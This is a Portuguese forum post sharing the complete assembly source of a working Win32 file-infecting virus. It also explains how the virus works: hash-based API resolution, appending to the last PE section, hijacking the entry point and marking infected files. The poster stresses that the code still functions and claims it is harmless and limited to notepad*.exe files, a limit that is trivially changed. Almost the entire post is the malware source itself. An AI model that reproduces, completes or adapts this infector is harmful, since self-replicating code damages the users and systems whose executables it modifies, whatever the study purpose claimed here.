Este vírus não causa nenhum tipo de estrago no micro e tem apenas a intenção
de demonstrar como é o funcionamento de uma infecção.
A infecção estará limitada a todos os arquivos notepad*.exe que estiverem no mesmo diretório do vírus, portanto, algo simples de ser controlado.
Para demonstrar seu funcionamento apenas crie diversos arquivos
notepad*.exe (notepad1.exe, notepad2.exe, etc...) no diretório onde está o
vírus e execute-o. Qualquer arquivo EXE poderá ser utilizado, apenas o nome
deverá ser iniciado como "notepad", para diminuir as chances de problemas.
Para reduzir seu tamanho final, foi usada uma técnica chamada de "API String CRC", utilizada pela primeira vez no vírus "Win32.Parvo".
Ela consiste em pesquisar por um determinado montante de bytes que se iguale exatamente com um cálculo feito com os nomes das APIs em nosso código, comparando seu CRC.
A infecção é feita rapidamente, aproveitando a última seção do arquivo,
fazendo com que não se tenha necessidade de criar novas seções, como faz a
maioria dos vírus.
Após infectar um arquivo, o vírus ocupará somente 1264 bytes, dependendo do
alinhamento do arquivo. A infecção desviará o Entry Point para o código do
vírus e retornará ao Entry point original. Esta técnica é simples e é
utilizada pela maioria dos vírus que infectam arquivos executáveis (tanto em
MS-DOS quanto Windows).
Para evitar que um arquivo seja infectado mais de uma vez, uma marca será
colocada em seu cabeçalho "MARK" e checada quando o vírus tentar infectar o
arquivo.
Para compilar o vírus é necessário ter instalado o Macro Assembler versão 6
ou superior.
;--------------------------- Inicio do código-fonte ---------------------------
;
; virus.asm
;
; Exemplo de virus NAO-DESTRUTIVO para Windows.
; Compativel com Windows 9x, ME, NT, 2000 e XP.
;
; Escrito por Marcos Velasco
; marcos@velasco.com.br
; http://www.velasco.com.br
;
; Compilacao:
;
; ml.exe /c /coff /Zp1 virus.asm
; link.exe /SUBSYSTEM:WINDOWS /SECTION:.text,EWR virus.obj
;
.486
.model flat, stdcall
option casemap:none
; Include's
INCLUDE d:\prog\masm32\include\windows.inc
INCLUDE d:\prog\masm32\include\kernel32.inc
INCLUDELIB d:\prog\masm32\lib\kernel32.lib
; Definicoes
_TAMANHO_VIRUS equ ( offset VIRUS_FIM - offset VIRUS_INICIO )
_MARCADOR_VIRUS equ 'KRAM'
.CODE
Main:
; Windows 2000 precisa possuir pelo menos uma funcao importada
; Usado somente em virus de primeira geracao
call GetVersion
VIRUS_INICIO:
pushad
call ObtemDelta
ObtemDelta:
mov EBP, [ESP]
add ESP, 4
sub EBP, offset ObtemDelta
; Obtem o Kernel Base
push [ESP + 020h]
call ObtemKernelBase
or EAX, EAX
jz EntryPoint
mov [EBP + dwKernelBase], EAX
; Obtem enderecos da API
mov EDI, [EBP + dwKernelBase] ; Kernel base
lea ESI, [EBP + offset ObtemProcAddr] ; Endereco do ObtemProcAddr
lea EDX, [EBP + offset _GlobalAlloc] ; Ponteiro da API
lea ECX, [EBP + offset cCRCGlobalAlloc] ; Ponteiro para a API string CRC
EnderecosAPILoop:
pushad
push [ECX]
push EDI
call ESI
mov [ESP + 01Ch], EAX
popad
mov [EDX], EAX
or EAX, EAX
jz EnderecosAPIFim
add EDX, 4
add ECX, 4
mov EAX, [ECX]
or EAX, EAX
jnz EnderecosAPILoop
mov EAX, 1
EnderecosAPIFim:
or EAX, EAX
jz EntryPoint
; Infecta arquivos
; Pesquisa o primeiro arquivo
lea ESI, [EBP + offset VIRUS_FIM]
assume ESI:PTR WIN32_FIND_DATA
push ESI
lea EAX, [EBP + offset szMascaraArquivos]
push EAX
call [EBP + _FindFirstFile]
inc EAX
.IF ZERO?
ret
.ENDIF
dec EAX
mov EDI, EAX
lea EAX, [ESI].cFileName
; Pesquisa por outras ocorrencias
.WHILE TRUE
call InfectaArquivo
push ESI
push EDI
call [EBP + _FindNextFile]
or EAX, EAX
.IF ZERO?
.BREAK
.ENDIF
lea EAX, [ESI].cFileName
.ENDW
; Finaliza
push EDI
call [EBP + _FindClose]
assume ESI:nothing
EntryPoint:
mov EAX, [EBP + dwEntryPointOriginal]
or EAX, EAX
.IF ZERO?
popad
; Retorna ao Windows
ret
.ELSE
mov [ESP + 01Ch], EAX
popad
; Vai para o Entry Point original
jmp EAX
.ENDIF
; Parametro1 - (DWORD) InicioPilha
; Retorna NULL em caso de erro
ObtemKernelBase:
mov EDI, [ESP + 4]
; Inicia a pesquisa do Kernel
and EDI, 0FFFF0000h
.WHILE TRUE
.IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE
mov ESI, EDI
add ESI, [ESI + 03Ch]
.IF DWORD PTR [ESI] == IMAGE_NT_SIGNATURE
.BREAK
.ENDIF
.ENDIF
sub EDI, 010000h
; Pesquisa minima do kernel
.IF EDI < 070000000h
mov EDI, 0BFF70000h
.BREAK
.ENDIF
.ENDW
xchg EAX, EDI
ret 4
; Parametro1 - DLL base
; Parametro2 - Ponteiro para a API string
; Retorna endereco ou NULL em caso de erro
ObtemProcAddr:
push EAX
push 0
; Checa por assinatura PE
mov ESI, [ESP + 0Ch]
add ESI, [ESI + 03Ch]
; Tabela de exportacao
mov EDX, [ESI + 078h] ; Tabela Exportacao
add EDX, [ESP + 0Ch]
assume EDX:PTR IMAGE_EXPORT_DIRECTORY
mov EBX, [EDX].AddressOfNames
add EBX, [ESP + 0Ch]
xor ECX, ECX ; Indice
.WHILE TRUE
mov EAX, [EBX]
add EAX, [ESP + 0Ch] ; DLL base
pushad
xor EDI, EDI ; CRC corrente
xor ECX, ECX ; Indice
mov ESI, EAX ; ESI = Ponteiro para a string
xor EDX, EDX
StringCRCLoop:
xor EAX, EAX
lodsb
or AL, AL
jz StringCRCFim
inc ECX
mul ECX
add EDI, EAX
jmp StringCRCLoop
StringCRCFim:
; Multiplica o CRC com o tamanho da string
xchg EAX, EDI
mul ECX
mov [ESP + 01Ch], EAX
popad
cmp EAX, [ESP + 010h] ; String CRC
.IF ZERO?
.BREAK
.ENDIF
add EBX, 4
inc ECX
.IF ECX == [EDX].NumberOfNames
jmp Sair
.ENDIF
.ENDW
; Pesquisa pelo ordinal
xchg EAX, ECX
mov ESI, [EDX].AddressOfNameOrdinals
add ESI, [ESP + 0Ch]
shl EAX, 1
add EAX, ESI
movzx ECX, WORD PTR [EAX] ; API ordinal
; Obtem endereco de uma API
mov EDI, [EDX].AddressOfFunctions
xchg EAX, ECX
shl EAX, 2
add EAX, [ESP + 0Ch]
add EAX, EDI
mov EAX, [EAX]
add EAX, [ESP + 0Ch]
jmp Finaliza
assume EDX:nothing
Sair:
xor EAX, EAX
Finaliza:
pop EBX
add ESP, 4
ret 8
; EAX = Endereco do nome do arquivo
; Retorno:
; 0 = Infeccao OK
InfectaArquivo:
pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ + FILE_SHARE_WRITE
push GENERIC_READ + GENERIC_WRITE
push EAX
call [EBP + _CreateFile]
.IF EAX == INVALID_HANDLE_VALUE
mov EAX, 1
jmp FinalizaInfeccao
.ENDIF
mov [EBP + hFile], EAX
push 0
push EAX
call [EBP + _GetFileSize]
or EAX, EAX
.IF ZERO?
mov EAX, 2
jmp Finaliza1
.ENDIF
mov [EBP + dwTamanhoArquivo], EAX
; Faz o alinhamento
add EAX, 000001000h + _TAMANHO_VIRUS
push EAX
push GMEM_FIXED OR GMEM_ZEROINIT
call [EBP + _GlobalAlloc]
or EAX, EAX
.IF ZERO?
mov EAX, 3
jmp Finaliza1
.ENDIF
mov [EBP + pMem], EAX
lea EAX, [EBP + offset VIRUS_FIM]
push NULL
push EAX
push [EBP + dwTamanhoArquivo]
push [EBP + pMem]
push [EBP + hFile]
call [EBP + _ReadFile]
; Checa a assinatura PE
mov ESI, [EBP + pMem]
cmp WORD PTR [ESI], IMAGE_DOS_SIGNATURE
.IF !ZERO?
mov EAX, 4
jmp Finaliza2
.ENDIF
add WORD PTR SI, [ESI + 03Ch] ; ESI = NT Header
cmp DWORD PTR [ESI], IMAGE_NT_SIGNATURE
.IF !ZERO?
mov EAX, 4
jmp Finaliza2
.ENDIF
; Arquivo ja infectado ?
assume ESI:PTR IMAGE_NT_HEADERS
.IF [ESI].FileHeader.PointerToSymbolTable == _MARCADOR_VIRUS
mov EAX, 5
jmp Finaliza2
.ENDIF
; Obtem a ultima secao
mov EDI, ESI
add EDI, 0F8h
movzx ECX, [ESI].FileHeader.NumberOfSections
.WHILE ECX != 1
dec ECX
add EDI, SIZEOF IMAGE_SECTION_HEADER
.ENDW
assume EDI:PTR IMAGE_SECTION_HEADER ; EDI = Ultimo Section Header
; Compatibiliza secao
mov EAX, [EDI].Misc.VirtualSize
or EAX, EAX
.IF ZERO?
mov EAX, [ESI].OptionalHeader.SizeOfImage
sub EAX, [EDI].VirtualAddress
mov [EDI].Misc.VirtualSize, EAX
.ENDIF
; Copia o codigo do virus
mov EAX, [EDI].PointerToRawData
add EAX, [EDI].SizeOfRawData
add EAX, [EBP + pMem]
mov EDX, EAX
push ESI
push EDI
mov ECX, _TAMANHO_VIRUS
lea ESI, [EBP + offset VIRUS_INICIO]
xchg EAX, EDI
rep MOVSB
pop EDI
pop ESI
; Atualiza o NT Header
mov [ESI].OptionalHeader.FileAlignment, 0200h
; Imagebase
add [ESI].OptionalHeader.SizeOfImage, 000001000h
; Entry Point
mov EAX, EDX
add EAX, ( offset Constantes - offset VIRUS_INICIO )
mov EBX, [ESI].OptionalHeader.AddressOfEntryPoint
add EBX, [ESI].OptionalHeader.ImageBase
mov ECX, EBX
mov [EAX], EBX
mov EAX, [EDI].VirtualAddress
add EAX, [EDI].SizeOfRawData
mov [ESI].OptionalHeader.AddressOfEntryPoint, EAX
; Faz a marcacao
mov [ESI].FileHeader.PointerToSymbolTable, _MARCADOR_VIRUS
add [EDI].Misc.VirtualSize, 000001000h
add [EDI].SizeOfRawData, 000000600h
or [EDI].Characteristics, 0E0000000h ; R/W/X
; Grava o arquivo em disco
push FILE_BEGIN
push 0
push 0
push [EBP + hFile]
call [EBP + _SetFilePointer]
; Obtem o tamanho atual
mov ECX, [EDI].PointerToRawData
add ECX, [EDI].SizeOfRawData
; Grava
push NULL
lea EAX, [EBP + offset VIRUS_FIM]
push EAX
push ECX
push [EBP + pMem]
push [EBP + hFile]
call [EBP + _WriteFile]
assume EDI:nothing
assume ESI:nothing
; OK
xor EAX, EAX
Finaliza2:
push [EBP + pMem]
call [EBP + _GlobalFree]
Finaliza1:
push [EBP + hFile]
call [EBP + _CloseHandle]
FinalizaInfeccao:
popad
ret
; Constantes
Constantes:
dwEntryPointOriginal dd 0
cCRCGlobalAlloc dd 000011D19h
cCRCGlobalFree dd 00000D584h
cCRCReadFile dd 000006DF8h
cCRCWriteFile dd 000009F27h
cCRCGetFileSize dd 0000120CBh
cCRCCreateFile dd 000010A5Dh
cCRCCloseHandle dd 000011E4Dh
cCRCSetFilePointer dd 00002592Eh
cCRCFindFirstFile dd 0000229C4h
cCRCFindNextFile dd 00001B9BFh
cCRCFindClose dd 00000A1AFh
dd 000000000h
szMascaraArquivos db ".\notepad*.exe", 0
dwKernelBase dd 0
dwTamanhoArquivo dd 0
pMem dd 0
hFile dd 0
_GlobalAlloc dd 0
_GlobalFree dd 0
_ReadFile dd 0
_WriteFile dd 0
_GetFileSize dd 0
_CreateFile dd 0
_CloseHandle dd 0
_SetFilePointer dd 0
_FindFirstFile dd 0
_FindNextFile dd 0
_FindClose dd 0
VIRUS_FIM:
end Main
;---------------------------- Fim do código-fonte -----------------------------
Fonte: Marcos Velasco
Espero que Gostem.... somente para estudo em gente, pois o source esta abilitado, ou seja, ..... o virus ainda funciona !!!!
vlw
Obrigado Kratos
Vou dar uma estudada no código...

[]'s
Skayler